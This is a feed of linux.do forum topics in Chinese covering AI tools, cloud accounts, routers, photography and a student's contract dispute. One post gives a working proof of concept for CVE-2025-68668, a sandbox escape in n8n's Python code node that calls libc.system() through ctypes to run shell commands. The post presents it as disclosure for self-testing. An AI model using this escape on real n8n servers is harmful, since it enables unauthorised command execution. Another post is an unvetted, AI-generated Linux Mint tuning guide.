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linux.do最新话题和热议话题
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有没有好用的可以开箱即用的ai写论文的项目

之前看过佬的这个一个月全力打造,开源网站助您快速完成论文,集成 ChatGPT 实现真实文献引用

但好像用deepseek的生成的篇幅有点短,目前还没有尝试过用其他的api试试。我之前写的综述类作业一般都是用的deep research。

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via LINUX DO - 最新话题 (author: 木瓜蛋白酶Tea🎋)
谷歌云服务被封了怎么办?

我这个账号才解封,一两个月吧,解封了就成这样了,提交申诉也没回应,有没有大佬知道怎么解决?
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via LINUX DO - 最新话题 (author: yi R)

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笑死了,没想到GPT这个浓眉大眼的,也学会谄媚了

是因为我用的是ChatGPT吗 🤣

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via LINUX DO - 最新话题 (author: demotoo)

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四年前录的手机指纹现在识别率低了

以前录的右大拇指,最近一直识别失败,突然想到是不是指纹变了而不是手机指纹模块坏了?于是重新录入,又可以准确识别了
为什么会这样?

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via LINUX DO - 最新话题 (author: liuweiqing)

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佬友们都在用什么路由器呢

想买个路由器刷机去用openclash,方便电脑安装linux时可以从github上面克隆,要不然yay用的有点难受🥲,有佬友在用的路由器可以推荐的吗👀

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via LINUX DO - 最新话题 (author: Mugzx)
YouTube Premium 油管会员,开始跨区清退/封号了吗?

油管会员,开始跨区封号了吗?
5人车开的印区服务,美区家庭组。
这位车友,平时用的美区节点,1月1日收到了这个邮件
同一趟车上的其他人,暂无这情况
25年9月份油管虽说是更新了条款,但全网没见大面积封号哇

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via LINUX DO - 最新话题 (author: 777)

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这段时间很多流量卡都下架了,这咋回事,大家有推荐的流量卡吗?

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via LINUX DO - 最新话题 (author: coding)
而你,我的朋友,你在干什么?

你的对手在看书
你的仇人在磨刀
你的朋友在减肥
你的隔壁在练腰
而你,我的朋友,你在干什么?😜

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via LINUX DO - 最新话题 (author: xuanfeng)
「摄影📷」当尼康遇上富士色调,是富士康!

我太喜欢这个蓝色调了

🎄🍎平安夜
📷️相机:Nikon ZF
🎞️色彩:FUJI VV & NC
📌地点:上海 淮海中路/巨鹿路

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via LINUX DO - 最新话题 (author: Ling_Jing)

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成功开通GCP免费虚拟机

目前是搭了个酒馆和OpenList,走Cloudflare加速 🥰
可惜才1G内存,而且SSH延迟超高,输入命令都一卡一卡的……
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via LINUX DO - 最新话题 (author: YOAKE)

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闲来没事,让gemini优化了LinuxMint,完事还挺快,嗖嗖的

⚠️⚠️⚠️ ,以下由AI生成,优化不适合所有人,不提供任何修改系统建议!!后果自负!!!


Linux Mint 优化

前言

● 目标:在保证系统稳定的前提下,大幅降低延迟、提升桌面响应速度(跟手感)并缩短开机时间。
● 适用环境:Linux Mint + rEFInd 引导, Ryzen 5600X + RX6650XT+ NVME 32GB RAM+

----------------------

第一阶段:BIOS 设置 (硬件层)

在进入系统前,确保硬件功能已完全释放。

1. 开启 Resizable BAR (Re-Bar) ● 作用:让 CPU 能一次性访问显卡的所有显存,提升游戏帧数 (5%-15%)。 ● 操作:重启进入 BIOS,找到并开启以下两项: Above 4G DecodingEnabled Re-Size BAR SupportEnabled 验证方法:进入系统后终端执行 dmesg | grep "BAR=",若看到类似 BAR=8192M 即成功。

----------------------

第二阶段:文件系统优化 (Btrfs)

针对你的 NVMe SSD 和 Btrfs 分区进行性能与寿命优化。

1. 修改挂载参数 (/etc/fstab)

这将开启透明压缩(提升读取速度、减少写入)和异步修剪(防止删除文件时卡顿)。

1. 备份配置文件
sudo cp /etc/fstab /etc/fstab.bak

2. 编辑文件
sudo nano /etc/fstab

3. 替换内容:找到挂载 //home 的行,将其参数部分修改如下(保留 UUID 不变): ● 根分区 (/)
UUID=... /  btrfs  rw,noatime,compress=zstd:1,space_cache=v2,discard=async,subvol=@ 0 1
● Home分区 (/home)
UUID=... /home  btrfs  rw,noatime,compress=zstd:1,space_cache=v2,discard=async,subvol=@home 0 2

4. 应用更改
sudo mount -o remount /
sudo mount -o remount /home


2. 启用自动维护

防止 Btrfs 长期使用后变慢。
sudo apt install btrfsmaintenance
sudo systemctl enable --now btrfsmaintenance-refresh

----------------------

第三阶段:内核启动参数 (rEFInd 引导)

这是提升系统响应速度的核心。由于你使用 rEFInd,我们需要直接编辑其配置文件,而不是 GRUB。

目标参数

preempt=full强制完全抢占模式。极大降低系统延迟,让操作更丝滑。
amd_pstate=active:启用 AMD 新一代 CPU 驱动,提升能效和响应。

操作步骤

1. 编辑 rEFInd 配置文件
sudo nano /boot/refind_linux.conf

2. 修改/新建内容:确保文件内容如下(第一行作为默认启动项):
"Boot with Opts"  "quiet splash preempt=full amd_pstate=active"
"Boot Safe" "quiet splash"
"Boot Fallback" "ro recovery nomodeset"

3. 保存Ctrl+O 保存,Ctrl+X 退出。
4. 验证:重启后执行 cat /proc/cmdline,确保输出包含上述参数。

----------------------

第四阶段:系统内核参数调优 (Sysctl)

合并网络、内存、I/O 的优化设置到一个文件中。

1. 创建配置文件
sudo nano /etc/sysctl.d/99-mint-optimization.conf

2. 粘贴以下所有内容
# --- 网络优化 (开启 BBR) ---
# 提升网络吞吐量,改善网页加载和视频播放
net.core.default_qdisc = fq
net.ipv4.tcp_congestion_control = bbr

# --- 内存与脏页优化 (针对 32GB 内存) ---
# 降低使用 Swap 的倾向,优先用物理内存
vm.swappiness = 10
# 增加 VFS 缓存保留目录结构的倾向,加快文件浏览
vm.vfs_cache_pressure = 50
# 优化脏数据回写,避免大数据拷贝时系统卡死
# 32GB 内存下,限制脏数据堆积量
vm.dirty_ratio = 10
vm.dirty_background_ratio = 5

# --- 内核调试 ---
# 禁用非屏蔽中断看门狗,减少微小中断,略微省电
kernel.nmi_watchdog = 0

3. 应用配置
sudo sysctl -p /etc/sysctl.d/99-mint-optimization.conf


----------------------

第五阶段:服务与启动速度优化

砍掉无用的等待时间,让开机直达桌面。

1. 消除最大瓶颈 (节省约 7秒)

禁止系统开机傻等网络连接。
sudo systemctl disable NetworkManager-wait-online.service


2. Docker 优化 (按需启动)

平时不占用资源,只有在终端输入 docker 命令时才瞬间激活。
sudo systemctl disable docker.service
sudo systemctl enable docker.socket


3. 移除星火商店的升级服务提示
sudo systemctl disable spark-update-notifier.service

----------------------

验证与总结

完成以上所有步骤后,请重启电脑

验证清单
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闲来没事,让gemini优化了LinuxMint,完事还挺快,嗖嗖的 ⚠️⚠️⚠️ ,以下由AI生成,优化不适合所有人,不提供任何修改系统建议!!后果自负!!! Linux Mint 优化 前言 ● 目标:在保证系统稳定的前提下,大幅降低延迟、提升桌面响应速度(跟手感)并缩短开机时间。 ● 适用环境:Linux Mint + rEFInd 引导, Ryzen 5600X + RX6650XT+ NVME 32GB RAM+ ---------------------- 第一阶段:BIOS 设置…
1. 启动速度:运行 systemd-analyze,查看 Boot 时间是否明显缩短。
2. 内核模式:运行 dmesg | grep "preempt:",应显示 Dynamic Preempt: full 或类似信息。
3. AMD 驱动:运行 cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_driver,应输出 amd-pstate-epp
4. BBR 算法:运行 sysctl net.ipv4.tcp_congestion_control,应输出 bbr

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via LINUX DO - 最新话题 (author: dqwed)
Antigravity老卡怎么办!!!!

佬们,反重力动不动就会出现这种报错怎么办 有时候一直出现根本跑不动 :tieba_087:

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via LINUX DO - 最新话题 (author: 比奇堡-派大星)

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POC n8n Python代码节点沙箱绕过导致系统命令执行 (CVE-2025-68668)

前言

今天各家都通报了CVE-2025-68668 n8n Python代码节点沙箱绕过导致系统命令执行漏洞,但没有poc,特有此文,文中poc仅供合法测试,用于企业自查,切勿用于非法测试,未授权测试造成后果由使用者承担,与棉花糖公众号无关。

漏洞概述

n8n 是一款开源的可视化工作流自动化平台,广泛应用于企业自动化、数据处理和 DevOps 场景。平台采用节点式设计,支持用户通过拖拽组件构建业务流程。受影响的 Python 代码节点允许用户在工作流中执行自定义代码。该节点基于 Pyodide 技术,为代码执行提供安全的沙箱隔离环境。作为一款主流自动化工具,n8n 拥有广泛的用户基础。

漏洞原理

n8n 的 Python (Pyodide) 模式配置了黑名单,在packages/nodes-base/nodes/Code/Pyodide.ts中:

如果执行这样的代码:
import os
os.system('ls')

是会被阻止的:

但并未阻止ctypes库, ctypes 是 Python 的 FFI 库,允许 Python 代码直接调用 C 函数,他的libc有system(), fork(), execl()等函数可用,测试的时候fork(), execl()被拦截了,system()能用,于是我们可以构造出一个使用ctypes去执行系统命令的poc:
import ctypes
libc = ctypes.CDLL(None)
libc.system(b'ls')

本地环境验证:
import ctypes
import os

libc = ctypes.CDLL(None)
libc.system.argtypes = [ctypes.c_char_p]
libc.system.restype = ctypes.c_int
result = libc.system(b'echo "mht CVE-2025-68668" > /tmp/test.txt')

return {
"vulnerability": "SUCCESS"
}

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via LINUX DO - 最新话题 (author: 棉花糖)

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为什么cliproxy会同时消耗几个号的额度

不应该是一个号的额度用完了自动换到另一个号吗
还是我没配置对啊

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via LINUX DO - 最新话题 (author: daemon)

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gemini网页怎么找回同一对话之前重复生成的图片?

重复生成了几次,刷新之后只显示最新的一张图片,之前重复生成的记录都没有了

1 post - 1 participant

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via LINUX DO - 最新话题 (author: liuweiqing)
佬友们,有合适的平板电脑二合一推荐么

如题,预算大概再6000-7000左右,佬们有推荐的么

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via LINUX DO - 最新话题 (author: 忘忧)
一张表看懂:SimTradeData / SimTradeLab / SimTradeML 的关系与作用

核心关系一句话
SimTradeData → 生成PTrade数据
SimTradeML → 用PTrade数据和兼容库训练PTrade可用模型
SimTradeLab → 用PTrade数据 + 信号做实盘级回测。
三者通过 PTrade 标准格式 完全无缝衔接,形成完整量化研发流水线。
github.com

GitHub - kay-ou/SimTradeData: SimTradeData is a utility library supporting...

SimTradeData is a utility library supporting SimTradeLab and simtradeML with reliable, high-quality simulated trading data for model training, backtesting, and performance evaluation.
github.com

GitHub - kay-ou/SimTradeLab: SimTradeLab is an open-source backtesting...

SimTradeLab is an open-source backtesting framework inspired by PTrade’s event-driven architecture. It features a lightweight, modular design and full syntax compatibility, enabling seamless strategy development and validation.
github.com

GitHub - kay-ou/SimTradeML: SimTradeML is the predictive engine of the...

SimTradeML is the predictive engine of the SimTrade ecosystem, turning financial data into ready‑to‑use machine learning models. It offers a lightweight training platform that outputs .pkl files fully compatible with Ptrade, seamlessly integrating into strategies in SimTradeLab and Ptrade.

2 posts - 2 participants

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via LINUX DO - 最新话题 (author: kayou)

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帮研究生导师做横向,感觉被外包公司坑了...

事情是这样的,我是西南这边一个末9的CS研究生,研一。本硕都是这里的学生,和这个导师很熟悉,就接了一个MFC项目移植到LINUX系统上(其实就是信创要用麒麟操作系统),重构用QT来搞跨平台。我们这边有几个写C++QT的学生,我愿意去也是为了图接横向有每个月2K补贴。

我们相当于丙方,乙方估计为了节约成本来找学校找老师要了几个学生搞,甲方是大软件的MFC源码的提供者。开始时乙方说我们只用搞前台,他们把后端的逻辑接口都写好,我们只用照着接口文档,做好界面交互就行,结果做完前台,就乙方说要我们弄后台,分到每个学生头上原项目后台代码好几万行C++代码,一百多个文件,没注释没文档,代码管理混乱,和Windows平台耦合的很紧。

是乙方说梳理后台是我们的说好的工作,我直接问号?最搞笑的甲方的.lib库和.dll库都没有准备好对应的linux环境下.a库和.so库,我们缺啥,还要去找他们要。更更更离谱的来了,原项目的代码用的是甲方公司内部公共库的2.0版本,他们挤牙膏一般的发给我们的是3.0版本,甩给我们3.0公共库的手册,(和2.0的差异很大)让我们自己想办法读,读无注释的屎山2.0写的源代码,然后用3.0的库来重构。真的读不下去,天天晚上开会催进度。

我们最开始说好的是给我们协调硬件设备方便我们调试,现在就改口说甲方那边设备硬件短缺,我们得去现场,学校离甲方公司差不多15公里,甲方公司那边甚至都不给我们学生配几个WIFI账号,我们都得开热点在那里办公。往返都是1个小时,我后面都直接反抗,直接不去了。目前1月20号验收,最开始说好的工作量可能就1,现在估计都变成10了。

我还算是有些反抗精神的,直接在会上和乙方的人上态度了。另外几个同学有一个能力强的,就任劳任怨,他做的多,但肯定也做不完,还有两个能力差点的,进度更慢,主要就是靠说有事不来,我还每个做思想工作,说我们得团结起来,我们不能闷着吃哑巴亏,得反抗,我还带着哥几个组内部群。

我也和导师讲了,说这事甲方坑乙方,乙方坑我们丙方,我看办不成。导师了解了情况,目前也是支持我们的,让我们能做多少做多少。导师告诉我们乙方只给了三个月的钱,后面如果接着弄是没有补贴的。我是真的无法接受。但是我可能社会经验不足,假设最后真完不成扯皮环节,我也没啥经验应对。不知道各位出身社会的佬能否为我指点一下。

15 posts - 9 participants

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via LINUX DO - 最新话题 (author: Solivagnt)
佬们 用ai编程有什么心得呢

这阵子开始使用windsurf开始写一些管理系统,自己踩了些坑,总结了些心得.
抛砖引玉吧
1.写一篇文档让ai读取后一次性写完可以为后续节省大量工作
2.如果喜欢一种对话风格 可以在Memories持久化它
3.很多任务可以让他自己写个py脚本一键运行 比如ai不能帮你做一个Excel表格 但是py脚本可以
ps:用ai学习好爽,很多时候看不明白代码让它画出数据流思路会清晰好多

3 posts - 3 participants

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via LINUX DO - 最新话题 (author: kotro)